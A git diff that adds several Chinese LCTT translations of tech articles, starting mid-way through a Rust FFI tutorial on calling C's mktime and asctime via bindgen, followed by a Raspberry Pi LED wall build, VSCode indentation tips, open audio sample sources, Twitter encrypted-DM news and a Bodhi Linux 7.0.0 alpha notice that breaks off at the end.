+ +以下是一份简化版的头文件,`mktime` 和 `asctime` 在文件底部: + +``` +typedef struct tm { + int tm_sec; /* 秒 */ + int tm_min; /* 分钟 */ + int tm_hour; /* 小时 */ + int tm_mday; /* 日 */ + int tm_mon; /* 月 */ + int tm_year; /* 年 */ + int tm_wday; /* 星期 */ + int tm_yday; /* 一年中的第几天 */ + int tm_isdst; /* 夏令时 */ +} StructTM; + +extern int mktime(StructTM*); +extern char* asctime(StructTM*); +``` + +`bindgen` 安装好后,`mytime.h` 作为以上提到的头文件,以下命令(`%` 是命令行提示符)可以生成所需的 Rust 代码并将其保存到文件 `mytime.rs`: + +``` +% bindgen mytime.h > mytime.rs +``` + +以下是 `mytime.rs` 中的重要部分: + +``` +/* automatically generated by rust-bindgen 0.61.0 */ + +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct tm { + pub tm_sec: ::std::os::raw::c_int, + pub tm_min: ::std::os::raw::c_int, + pub tm_hour: ::std::os::raw::c_int, + pub tm_mday: ::std::os::raw::c_int, + pub tm_mon: ::std::os::raw::c_int, + pub tm_year: ::std::os::raw::c_int, + pub tm_wday: ::std::os::raw::c_int, + pub tm_yday: ::std::os::raw::c_int, + pub tm_isdst: ::std::os::raw::c_int, +} + +pub type StructTM = tm; + +extern "C" { + pub fn mktime(arg1: *mut StructTM) -> ::std::os::raw::c_int; +} + +extern "C" { + pub fn asctime(arg1: *mut StructTM) -> *mut ::std::os::raw::c_char; +} + +#[test] +fn bindgen_test_layout_tm() { + const UNINIT: ::std::mem::MaybeUninit = ::std::mem::MaybeUninit::uninit(); + let ptr = UNINIT.as_ptr(); + assert_eq!( + ::std::mem::size_of::(), + 36usize, + concat!("Size of: ", stringify!(tm)) + ); + ... +``` + +Rust 结构体 `struct tm`,跟原本在 C 中的一样,包含了 9 个 4 字节的整型字段。这些字段名称在 C 和 Rust 中是一样的。`extern "C"` 区域声明了库函数 `astime` 和 `mktime` 分别需要只一个参数,一个指向可变实例 `StructTM` 的裸指针。(库函数可能会通过指针改变作为参数传递的结构体。) + +`#[test]` 属性下的其余代码是用来测试 Rust 版的时间结构体的布局。通过命令 `cargo test` 可以进行这些测试。问题在于,C 没有规定编译器应该如何对结构体中的字段进行布局。比如说,C 的 `struct tm` 以字段 `tm_sec` 开头用以表示秒;但是 C 不需要编译版本遵循这个排序。不管怎样,Rust 测试应该会成功,而 Rust 对库函数的调用也应如预期般工作。 + +### 设置好第二个案例并开始运行 + +从 `bindgen` 生成的代码不包含 `main` 函数,所以是一个天然的模块。以下是一个 `main` 函数初始化了 `StructTM` 并调用了 `asctime` 和 `mktime`: + +``` +mod mytime; +use mytime::*; +use std::ffi::CStr; + +fn main() { + let mut sometime = StructTM { + tm_year: 1, + tm_mon: 1, + tm_mday: 1, + tm_hour: 1, + tm_min: 1, + tm_sec: 1, + tm_isdst: -1, + tm_wday: 1, + tm_yday: 1 + }; + + unsafe { + let c_ptr = &mut sometime; // 裸指针 + + // 调用,转化,并拥有 + // 返回的 C 字符串 + let char_ptr = asctime(c_ptr); + let c_str = CStr::from_ptr(char_ptr); + println!("{:#?}", c_str.to_str()); + + let utc = mktime(c_ptr); + println!("{}", utc); + } +} +``` + +这段 Rust 代码可以被编译(直接用 `rustc` 或使用 `cargo`)并运行。输出为: + +``` +Ok( +    "Mon Feb  1 01:01:01 1901\n", +) +2120218157 +``` + +对 C 函数 `asctime` 和 `mktime` 的调用必须再一次被放在 `unsafe` 区域内,因为 Rust 编译器无法对这些外部函数的潜在内存安全风险负责。此处声明一下,`asctime` 和 `mktime` 并没有安全风险。调用的两个函数的参数是裸指针 `ptr`,其指向结构体 `sometime` (在stack中)的地址。 + +`asctime` 是两个函数中调用起来更棘手的那个,因为这个函数返回的是一个指向 C `char` 的指针,如果函数返回 `Mon` 那么指针就指向 `M`。但是 Rust 编译器并不知道 C 字符串 (`char` 的空终止数组)的储存位置。是内存里的静态空间?还是heap?`asctime` 函数内用来储存时间的文字表达的数组实际上是在内存的静态空间里。无论如何,C 到 Rust 字符串转化需要两个步骤来避免编译错误: + +- 调用 `Cstr::from_ptr(char_ptr)` 来将 C 字符串转化为 Rust 字符串并返回一个引用储存在变量 `c_str` 中。 +- 对 `c_str.to_str()` 的调用确保了 `c_str` 是所有者。 + +Rust 代码不会增加从 `mktime` 返回的整型值的易读性,这一部分留作课外作业给感兴趣的人去探究。Rust 模板 `chrono::format` 也有一个 `strftime` 函数,它可以被当作 C 的同名函数来使用,两者都是获取时间的文字表达。 + +### 使用 FFI 和 bindgen 调用 C + +Rust FFI 和工具 `bindgen` 都能够出色地协助 Rust 调用 C 库,无论是标准库还是第三方库。Rust 可以轻松地与 C 交流,并透过 C 与其他语言交流。对于调用像 `sqrt` 一样简单的库函数,Rust FFI 表现直截了当,这是因为 Rust 的原始数据类型覆盖了它们在 C 中的对应部分。 + +对于更为复杂的交流 —— 特别是 Rust 调用像 `asctime` 和 `mktime` 一样,会涉及到结构体和指针的 C 库函数 —— `bindgen` 工具是优秀的帮手。这个工具会生成支持代码以及所需要的测试。当然,Rust 编译器无法假设 C 代码对内存安全的考虑会符合 Rust 的标准;因此,Rust 必须在 `unsafe` 区域内调用 C。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/rust-calls-c-library-functions + +作者:[Marty Kalin][a] +选题:[lkxed][b] +译者:[yzuowei](https://github.com/yzuowei) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mkalindepauledu +[b]: https://github.com/lkxed +[1]: https://baike.baidu.com/item/lingua%20franka/5359711 +[2]: https://github.com/rust-lang/rust-bindgen +[3]: https://condor.depaul.edu/mkalin +[4]: https://baike.baidu.com/item/UNIX时间/8932323 +[5]: https://cplusplus.com/reference/ctime/tm/ +[6]: https://cplusplus.com/reference/ctime/mktime/ +[0]: https://img.linux.net.cn/data/attachment/album/202212/16/110147q4kk0qoqe0e3m6bb.jpg \ No newline at end of file diff --git a/published/202212/20221126.2 ⭐️⭐️ Create a holiday light display with your Raspberry Pi and ping pong balls.md b/published/202212/20221126.2 ⭐️⭐️ Create a holiday light display with your Raspberry Pi and ping pong balls.md new file mode 100644 index 0000000000..bb08ef8d4b --- /dev/null +++ b/published/202212/20221126.2 ⭐️⭐️ Create a holiday light display with your Raspberry Pi and ping pong balls.md @@ -0,0 +1,135 @@ +[#]: subject: "Create a holiday light display with your Raspberry Pi and ping pong balls" +[#]: via: "https://opensource.com/article/22/11/raspberry-pi-holiday-light-display" +[#]: author: "Brian McCafferty https://opensource.com/users/bdm" +[#]: collector: "lkxed" +[#]: translator: "Return7g" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15365-1.html" + +利用树莓派和乒乓球制作一个假日彩灯 +====== + +![][0] + +> 这个树莓派教程用于制作一个可编程的 LED 灯光显示器,非常适合各种技能水平的人。 + +我喜欢圣诞装饰品和灯饰,因此很长一段时间以来我一直想做一个可编程的 LED 项目。最近,我制作了一个由 LED 灯、乒乓球和树莓派 Zero 组成的灯阵列。这个项目相对简单并且具有教学价值,因此我认为它非常值得分享。 + +整个彩灯由我设计,但其中一些灵感也来自 YouTube。你可以在我的 [Git 存储库][1] 中找到源代码和制作说明。 + +### 购物清单 + +- [树莓派 Zero][2] +- [树莓派保护壳][3] +- 5V 2A 的电源线 +- 展架 +- 255 个乒乓球 +- 热熔胶枪和若干热熔胶棒 +- 烙铁 +- 焊锡丝 +- 22 AWG 0.35mm 实芯线 +- 10 米 WS2812(B) LED 灯带(每米 30 像素) +- 万用表 +- 钢丝钳 +- 剥线钳 + +### 设计树莓派的灯光效果 + +这个设计是根据我展框的大小决定的。我在全球速卖通买到了每米 30 像素的灯带,它可以轻松地切成 0.5 米的长度,每条有 15 个 LED 灯。乒乓球的直径是 40 毫米,所以我测量并隔开 40 毫米划了线,LED 灯条放在每隔 40 毫米的中间部分,这就产生了 17 条线。因此我的灯光阵列是 15×17。你可以根据实际情况来调整尺寸。 + +为了给灯带和树莓派供电,我在电路板底部设置了数据线和电源线。我的 LED 灯不需要很多电,所以我使用树莓派 Zero 的 5V 输出 GPIO 为它们供电。当我以 50% 的亮度运行时,这个亮度已经足以在白天和晚上透过我的窗户看到。 + +### 布线 + +我从电路板的底部以之字形开始布线,这使得焊接非常容易,因为每行的末尾不必返回到每行的开头。 + +我的线路大致像这样(为清楚起见,这里进行了简化,实际上它一共有 17 行): + +``` +<---------------\ +                | +/---------------/ +| +\---------------< # 这里连接树莓派 +``` + +### 使用树莓派制作显示屏 + +当设计和布线的工作完成后就可以开始制作显示屏了。 + +我在展板上测量并绘制了线路。我的灯带背面有胶带,所以我只需要取下背衬并将其贴在展板上。我检查了每个灯带的位置和数据线的方向,以确保灯带可以按照树莓派的指令正确串联起来。 + +连接好所有灯带后,我剪下三段长度相同的电线,并将每个灯带末端的电源线、数据线和接地线连接到其上方。 + +![Connect each light strip at the end of each line.][4] + +在线路连接完成后,我检查了每条灯带之间的电源线和地线之间的连接,以确保其连通性。我还检查了是否存在错误的桥接,所以我验证了电源线和地线之间的连接。我还进行了一些测试以确保所有灯都正常点亮(链路测试参阅 [测试代码][5])。 + +完成上述工作后,我开始在乒乓球上剪洞,用剪刀刺入乒乓球的底部,然后剪一个小洞让 LED 灯穿进去。手工不太行,每个球都不太一样,但效果真的很好。我使用的每米 30 个像素的 LED 灯,所以每个 LED 之间有大约 30 毫米的空隙。一个乒乓球是 40 毫米宽,但我不打算开始单独焊接每一个 LED!我想,这是很重要的。首先,我并不擅长焊接(正如我的照片所显示的),而且无论如何,我想“好吧,它们是乒乓球。我可以把它们压在一起!” + +我是这样做的: + +在 LED 灯上滴上热熔胶,然后在 LED 上放了一个乒乓球并按住大约五秒钟,就粘好了一个乒乓球。粘贴下一个乒乓球时我只需要挤着上一个乒乓球,就能让所有乒乓球都变得整齐了。我对它的外观很满意。它还有一个很好的好处,就是掩盖了我糟糕的焊接工作;) + +![It's a tight fit, but the 40mm ping pong balls fit in a 30mm space just fine.][6] + +我继续为余下的乒乓球进行焊接。尽管这个过程中有几个乒乓球被压碎了,但最终还是顺利完成了制作。 + +![255 LEDs and 255 ping pong balls in an array.][7] + +### 测试代码 + +测试代码需要确保所有部件都能正常工作,为此我使用了这个 [Adafruit 指南][8],它以红、绿和蓝点亮每个 LED,然后依次进行循环。我在测试时使用它来确保我连接无误并且焊接正常。 + +在此之后,我在电子表格中设计了一个网格,将每个像素映射到一个网格位置。由于我的像素编号呈之字形排列,因此很难跟踪每个 LED(例如 A1 为 256,B1 为 226)。重新映射网格位置能使得我在构建图像时更容易。 + +在所有准备工作完成之后,我就可以在纸上和电子表格中设计图像,然后编码。于是我开始添加一些动画(使用循环并将像素变为一种颜色,然后变为另一种颜色)。 + +最终的结果还算顺利。 + +![A Christmas gift in LED.][9] + +![Reindeer painted with light.][10] + +![An LED snowflake.][11] + +### 能玩一年的树莓派彩灯 + +我不确定这是否已经完全完成了。自从把它摆放到橱窗里,几乎每个晚上我都会添加一些新的图像和动画。我已经在考虑除夕夜的时候要做成什么样了。它不会像圣诞装饰品一起在圣诞节后被放进储藏室。我只需要在上面显示其它图案,就能使它成为一个能玩一年的彩灯!我的一个朋友推荐了像素版马里奥,这听起来是个好主意! + +我的代码仍然需要完善。例如,我做了一些滚动文本,但当我为文本的每个位置重新绘制时却花了很多时间。我想我可以用循环做一些事情,或者图像库可以帮助更轻松地滚动字母,并使添加文本更容易,而不是在每一步打开和关闭每个像素。 + +这里有一张照片记录了我制作的全过程:[LED 乒乓墙][12]。 + +可以在此处观看它的运行视频:[XMas 灯光展示][13]。 + +这个彩灯最终的效果我非常满意。以后我也会尝试更多利用 LED 彩灯完成的项目。我也鼓励大家亲自动手制作一个这样的彩灯,它会比你想象中更简单。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/raspberry-pi-holiday-light-display + +作者:[Brian McCafferty][a] +选题:[lkxed][b] +译者:[Return7g](https://github.com/Return7g) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/bdm +[b]: https://github.com/lkxed +[1]: https://github.com/bmccafferty/ping-pong-led-wall +[2]: https://shop.pimoroni.com/products/raspberry-pi-zero-wh-with-pre-soldered-header +[3]: https://shop.pimoroni.com/products/pibow-zero-w +[4]: https://opensource.com/sites/default/files/2022-11/IMG_20201126_115520.jpeg +[5]: https://opensource.com#the-code +[6]: https://opensource.com/sites/default/files/2022-11/IMG_20201127_101409.webp +[7]: https://opensource.com/sites/default/files/2022-11/IMG_20201127_160500.webp +[8]: https://learn.adafruit.com/neopixels-on-raspberry-pi/python-usage +[9]: https://opensource.com/sites/default/files/2022-11/IMG_20201127_181931.webp +[10]: https://opensource.com/sites/default/files/2022-11/IMG_20201202_215902.webp +[11]: https://opensource.com/sites/default/files/2022-11/IMG_20201127_215314.webp +[12]: https://projects.bdm.scot/Xmas%20LED%20Wall%202020/ +[13]: https://youtu.be/zc0501GzpMw +[0]: https://img.linux.net.cn/data/attachment/album/202212/20/095754r7q0z001lvx6p600.jpg \ No newline at end of file diff --git a/published/202212/20221127.1 ⭐️ How to Automatically Indent Your Code in Visual Studio Code.md b/published/202212/20221127.1 ⭐️ How to Automatically Indent Your Code in Visual Studio Code.md new file mode 100644 index 0000000000..674924887b --- /dev/null +++ b/published/202212/20221127.1 ⭐️ How to Automatically Indent Your Code in Visual Studio Code.md @@ -0,0 +1,98 @@ +[#]: subject: "How to Automatically Indent Your Code in Visual Studio Code" +[#]: via: "https://itsfoss.com/auto-indent-vs-code/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15335-1.html" + +如何在 VSCode 中自动缩进你的代码 +====== + +![][0] + +代码中的缩进指的是你在代码行的开头处的空格。像其他代码编辑器和 IDE 一样,VSCode 允许你自动缩进你的代码。 + +你可以设置使用制表符或空格或任何你喜欢的缩进方式。 + +听起来不错吧?让我们来看看怎么做。 + +### 在 VSCode 中启用自动缩进 + +你有多种方法可以实现这个目标。在本指南中,我将向你展示三种在 VSCode 中自动缩进代码的方法。 + +#### 方法 1:配置全局用户设置 + +你可以通过命令模式访问全局用户设置。使用 `Ctrl + Shift + P` 来打开命令模式,搜索 `Open User Settings` 并按下回车: + +![access user setting from command pallet in vscode][1] + +它将打开设置。在那里,你需要搜索 `Auto Indent`,并在 “编辑器:自动缩进Editor: Auto Indent” 中选择 “全部Full”: + +![enable auto indent from global user settings in vscode][2] + +接着自动缩进会被启用,并应用于 VSCode 中每个打开的文件。 + +#### 方法 2:在 VSCode 中使用检查器或格式化工具进行自动缩进 + +在这种方法中,你需要添加扩展程序,如代码格式化工具或者检查器,以获得理想的结果。 + +检查器Linter会识别代码中的错误,而格式化工具Formatter只对你的代码进行格式化,使其更具可读性。你可以在 [VSCode 市场][3] 中搜索特定于你的编程语言的代码格式化器。 + +这里有一些我最喜欢的广泛流行语言的代码格式化工具和检查器: + +- [C/C++][4]:适用于 C 和 C++ 编程语言。 +- [PHP][5]:适用于 PHP。 +- [markdownlint][6]:适用于 Markdown 文件。 +- [Python][7]:适用于 Python 编程语言。 +- [ESLint][8]:适用于 JSON 和 javascript。 +- [Beautify][9]: 适用于 JavaScript、JSON、CSS、SASS 和 HTML。 + +当你为你喜欢的编程语言添加了格式化工具,你可以按 `Ctrl + Shift + I` 来格式化代码。 + +同样地,你也可以使用命令模式做同样的事情。按 `Ctrl + Shift + P`,并搜索 `Format document`,然后按下回车。 + +![indent code in VSCode][10] + +#### 方法 3:在保存文件时启用自动缩进功能 + +VSCode 允许你在保存你的代码时,通过一个小小的调整来格式化它。让我告诉你怎么做。 + +按 `Ctrl + ,`,它将打开用户设置提示。在那里,搜索 `Format On Save`。 + +![enable format on save option][11] + +从现在开始,当你保存文件时,你的文件将自动添加缩进。 + +### 总结 + +在本指南中,我解释了如何在 VSCode 中自动添加缩进。我建议使用第二种方法以获得更好的灵活性。 + +我希望你会发现本指南对你有帮助,如果你有任何疑问或建议,请在评论中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/auto-indent-vs-code/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/11/access-user-setting-from-command-pallet-in-vscode.png +[2]: https://itsfoss.com/wp-content/uploads/2022/11/enable-auto-indent-from-global-user-settings-in-vscode.png +[3]: https://marketplace.visualstudio.com/vscode +[4]: https://marketplace.visualstudio.com/items?itemName=ms-vscode.cpptools +[5]: https://marketplace.visualstudio.com/items?itemName=DEVSENSE.phptools-vscode +[6]: https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint +[7]: https://marketplace.visualstudio.com/items?itemName=ms-python.python +[8]: https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint +[9]: https://marketplace.visualstudio.com/items?itemName=HookyQR.beautify +[10]: https://itsfoss.com/wp-content/uploads/2022/11/format-document-.gif +[11]: https://itsfoss.com/wp-content/uploads/2022/11/enable-format-on-save-option.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/10/152929zff61fqq13kkpvy8.jpg \ No newline at end of file diff --git a/published/202212/20221128.1 ⭐️⭐️ 3 open source audio tools for creators.md b/published/202212/20221128.1 ⭐️⭐️ 3 open source audio tools for creators.md new file mode 100644 index 0000000000..9bab60b6be --- /dev/null +++ b/published/202212/20221128.1 ⭐️⭐️ 3 open source audio tools for creators.md @@ -0,0 +1,74 @@ +[#]: subject: "3 open source audio tools for creators" +[#]: via: "https://opensource.com/article/22/11/open-source-audio-tools" +[#]: author: "Ruth Cheesley https://opensource.com/users/rcheesley" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15319-1.html" + +3 个面向创作者的开源音频资源 +====== + +![][0] + +> 这些有用的开源资源, 提供了采样声音和音乐旋律。 + +寻找优质的开源音频样本可能是一项挑战。我越来越多地使用开源工具 [Ardour][1] 和以创作者为中心的发行版 Ubuntu Studio,利用业余时间创作音乐。我一直在寻找要包含的特定声音或旋律循环的样本。 + +我熟悉许多查找图像的工具,但直到最近,我才遇到类似的音频资源需求。 + +### 开源声音样本 + +如果你不能自己录制特定的声音,那么寻找特定的声音可能会很困难。有多种资源可用,但在开源许可下提供声音的资源并不多。 + +#### Freesound + +来看看令人难以置信的宝库 [Freesound][2],这是一个 [知识共享][3] 许可的声音协作数据库,你可以在其中浏览、下载甚至贡献。 + +你几乎可以在 Freesound 上找到任何东西,从路上让人昏昏欲睡的旅游巴士的声音到开门关门的声音或幽灵般的尖叫声。虽然 Freesound 主要侧重于声音样本,但网站上也有一些旋律循环。许多声音都是 CC0 许可的,因此从许可证的角度来看,你可以随心所欲地使用它们。但是,并非所有人都如此,因此在使用任何内容之前请检查许可证,因为你可能需要注明创作者的姓名。 + +该站点允许你检查采样率、位深度和通道,因此你可以确保该样本适用于你的作品,并且它具有内置评级系统和下载计数。波形显示可让你在预览之前深入了解声音样本的特性。 + +Freesound 的搜索过滤器不如其他网站强大。声音有时会被分成一组相似的声音,例如 [可怕的噪音][4]。这可以帮助你快速获取一堆相似的声音来播放。样本的质量是可变的,因此你可能需要清理某些样本的音频。如果你觉得无聊,甚至可以选择从数据库中随机选择声音,相信我,有些声音非常随机! Freesound 还有一个社区论坛,你可以参与其中并向他人学习。 + +#### NASA 太空声音 + +如果你正在寻找一些超凡脱俗的声音或想窥探地球与太空之间的对话,[NASA 太空声音数据库][5]可能是个不错的去处。探索各种任务的录音并听取来回的通信是很有趣的,其中一些是有旁白的。一些录音包含来自不同太空任务的不同声音,从毅力号漫游者的火星之声到阿波罗任务的音频。 + +来自 NASA 网站的声音在知识共享类别公共领域标记 1.0 下发布的,这意味着它不受版权法的已知限制。 + +### 音乐创作的旋律循环 + +如果你更关注于创作音乐,你可能正在寻找旋律循环 —— 这是你可以在自己的作品中修改和调整的简短音乐录音。 + +有各种商业来源的样本包,但 [Looperman][6] 上也有很多免版税的旋律循环。音乐家、DJ、制作人和创作者上传了超过 200,000 个旋律循环,从电子舞曲、trap 到古典音乐应有尽有。还有超过 12,000 首无伴奏合唱和口语旋律循环,它是查找低音线或鼓点等内容的绝佳资源。你需要有一个帐户才能下载,并且你必须先下载曲目才能上传任何内容。 + +Looperman 资源不是知识共享的,但该站点默认采用类似的概念:根据站点许可,“所有样本和旋律循环都可以在商业和非商业项目中免费使用”,但“你不能声明这些旋律循环的版权”。无伴奏合唱和人声样本属于不同的类别,所以检查你考虑使用的任何旋律循环的具体条款是很重要的。 + +每个旋律循环都会告诉你每分钟的节拍数、调号(如果相关)以及创建它的软件。波形显示旋律循环的特征,让你清楚它是否可能适用于你的项目.你可以在浏览器中预览旋律循环并为创作者留下评论。有一个活跃的社区和许多很棒的资源可以帮助你创建自己的旋律循环。 + +### 发挥创意 + +我希望这可以让你了解在何处可以为你的下一个项目找到音频资源,我期待听到你创建的内容! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/open-source-audio-tools + +作者:[Ruth Cheesley][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/rcheesley +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/21/12/music-linux-ardour +[2]: https://freesound.org +[3]: https://opensource.com/article/20/1/what-creative-commons +[4]: https://freesound.org/people/SamsterBirdies/packs/31184/ +[5]: https://www.nasa.gov/connect/sounds/index.html +[6]: https://www.looperman.com/ +[0]: https://img.linux.net.cn/data/attachment/album/202212/05/144352hbfp7pg77o5fgi6x.jpg \ No newline at end of file diff --git a/published/202212/20221128.2 ⭐️ Elon Musk's Twitter to Add Open-Source Signal Protocol for Encrypted DMs.md b/published/202212/20221128.2 ⭐️ Elon Musk's Twitter to Add Open-Source Signal Protocol for Encrypted DMs.md new file mode 100644 index 0000000000..d4a75354af --- /dev/null +++ b/published/202212/20221128.2 ⭐️ Elon Musk's Twitter to Add Open-Source Signal Protocol for Encrypted DMs.md @@ -0,0 +1,87 @@ +[#]: subject: "Elon Musk's Twitter to Add Open-Source Signal Protocol for Encrypted DMs" +[#]: via: "https://news.itsfoss.com/twitter-signal/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15306-1.html" + +埃隆·马斯克的 Twitter 将添加开源 Signal 协议,实现加密私信 +====== + +> 埃隆·马斯克证实,加密的私信即将到来! 这是好东西。 + +![](https://news.itsfoss.com/content/images/size/w2000/2022/11/twitter-to-add-signal-encrypted-dms.png) + +今年早些时候,埃隆·马斯克 [在 Twitter 上表示][1]:Twitter 的 私信 Direct Messages (DM)需要像 Signal 协议这样的 端到端加密 End-to-End Encryption 。 + +早在 2016 年,**爱德华·斯诺登**就 [要求][2] Twitter 的前首席执行官兼联合创始人**杰克·多尔西**添加 Signal 协议类似的安全措施到 Twitter 平台。 + +但是,这个协议从来没有被添加到 Twitter。它可能经过测试但还未部署实施。 + +根据最近的公告,Twitter 似乎即将实现这个安全协议 😌。 + +马斯克分享了他在公司演讲中的几张幻灯片,其中就包括为 Twitter 2.0 路线图规划的“**加密私信**”。 + +### 🔒 Twitter 通信的 Signal 协议 + +![twitter encrypted dms][3] + +虽然有一些安全研究员,例如 [黄文津][4],已经在 Twitter 的 iOS 和 Android 应用程序中发现了对 [Signal 协议][5] 的代码引用。 + +但是直到现在,埃隆·马斯克才在 [推文][6] 中确认了该计划,该推文介绍了根据 **“Twitter 2.0”** 路线图将对 Twitter 平台进行的改进。 + +换句话说,埃隆·马斯克正式确认 Twitter 即将推出**加密私信**。 + +![twitter dm signal protocol][7] + +**对于那些不知道 Signal 协议的人**,我们简要地介绍一下 Signal 协议:Signal 协议是一种开源的加密协议,它允许以 [完全前向保密][8] perfect forward secrecy (PFS)方式实施端到端加密。 + +该协议使用 “双棘轮算法 Double Ratchet algorithm ”,通信双方根据不断变化的共享密钥,来交换加密的消息。 + +这确保没有第三方可以得到通信消息的内容,因为共享密钥仅存在于通信双方的设备上。 + +[Signal][9] 应用程序充分利用了这个方法。但是,进一步来说,还有几个以隐私为中心的替代方案: + +(LCTT 译注:Signal 协议是一种真正的端到端加密的通讯协议,号称是世界上最安全的通讯协议。只有参与通讯的用户可以读取并解密信息,而任何第三方(包括服务器)都无法查看到通讯的内容。总的来说,它可以防止潜在的窃听者(包括:通信服务商、互联网服务提供商甚至是该通讯系统的提供者),获取能够用以解密通讯内容的密钥。目前有大量即时通讯软件也使用或借鉴参考了 Signal 协议,例如:Skype、What'sApp、Facebook Messenger) + +#### Signal 协议如何帮助 Twitter DM? + +它可以防止恶意攻击者和政府去窥探 Twitter 用户的消息,从而使 Twitter 成为一个更加安全的平台。 + +Twitter 添加加密私信会对举报人、记者和社会活动家有益,因为他们经常会因其工作而面临被审查或成为攻击目标。 + +诚然,就隐私而言,加密私信可能不是最严格的保护措施。但**有总比没有好**。 + +### 🔏 加密消息应该成为通讯软件的标准 + +在这个动荡的信息时代,我们看到更多的恶意攻击者试图未经授权访问敏感信息。 + +端到端加密应成为所有通讯软件的必要标准,我希望 Twitter 能够尽快添加它。 + +_你有什么想法吗?请在下面的评论区中分享你的想法吧。_ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/twitter-signal/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://twitter.com/elonmusk/status/1519469891455234048 +[2]: https://twitter.com/Snowden/status/808736772830195713 +[3]: https://news.itsfoss.com/content/images/2022/11/Encrypted_DM_Twitter.jpg +[4]: https://twitter.com/wongmjane +[5]: https://github.com/signalapp/libsignal +[6]: https://twitter.com/elonmusk/status/1596718851097755648 +[7]: https://news.itsfoss.com/content/images/2022/11/Signal_Protocol_Twitter.jpg +[8]: https://en.wikipedia.org/wiki/Forward_secrecy +[9]: https://signal.org/en/ +[10]: https://itsfoss.com/private-whatsapp-alternatives/ diff --git a/published/202212/20221129.1 ⭐️ Bodhi Linux 7.0.0 Testing Begins with New Features, Packages.md b/published/202212/20221129.1 ⭐️ Bodhi Linux 7.0.0 Testing Begins with New Features, Packages.md new file mode 100644 index 0000000000..74843d60dd --- /dev/null +++ b/published/202212/20221129.1 ⭐️ Bodhi Linux 7.0.0 Testing Begins with New Features, Packages.md @@ -0,0 +1,58 @@ +[#]: subject: "Bodhi Linux 7.0.0 Testing Begins with New Features, Packages" +[#]: via: "https://debugpointnews.com/bodhi-linux-7-0-0-testing/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15309-1.html" + +Bodhi Linux 7.0.0 开始测试新的功能和软件包 +====== + +> Bodhi Linux 团队为即将发布的 Bodhi Linux 7.0.0 版本启动了 Alpha 测试。 + +![Bodhi Linux 7.0.0 桌面][1] + +Bodhi Linux 基于 Ubuntu LTS,其带有基于 Enlightenment 的 Moksha 桌面环境。Moksha 桌面是轻量级的,同时也是一个养眼的桌面。此外,它只包括了可以让你开始使用的基本的应用程序。 + +目前的 Bodhi Linux 6 系列基于 Ubuntu 20.04 LTS,发布于 2021 年,正好在 Ubuntu 20.04 LTS 发布后。即将推出的 Bodhi Linux 7.0.0 将基于今年 4 月发布的 Ubuntu 22.04 LTS,带来了基于 Ubuntu 稳定性和更新的软件包。 + +在其核心部分,它采用与 Ubuntu 22.04 一致的 Linux 5.15 LTS 内核。你可以得到基于最新的 Enlightenment 桌面/Enlightenment 基础库(EFL)的改进的 Mokhsna 桌面环境。 + +由于官方的变化日志还没有发布,这里是你在这个版本中得到的版本的一个快速总结。 + +### Bodhi Linux 7.0.0 摘要(暂定) + +- 基于 Ubuntu 22.04 LTS “Jammy Jellyfish” +- Linux 5.15 LTS 内核 +- Enlightenment 基础库(EFL)1.26.99 +- Moksha 桌面 0.4.0 +- Python 3.10 +- Systemd 249.11 + +### 下载 + +该团队建议,这个预发布版本是不稳定的,不应该用于你的日常工作。不过,如果你想体验一下,可以从下面的链接下载。 + +> **[下载][2]** + +### 时间表 + +Alpha 测试阶段应该持续两个月左右,然后是候选版本。之后是最终版本。从时间上看,根据历史记录 —— Alpha 测试大约持续两个月,然后是一个月的 RC 测试。因此,暂定的最终发布日期为 2023 年 2 月底或 3 月初。 + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/bodhi-linux-7-0-0-testing/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 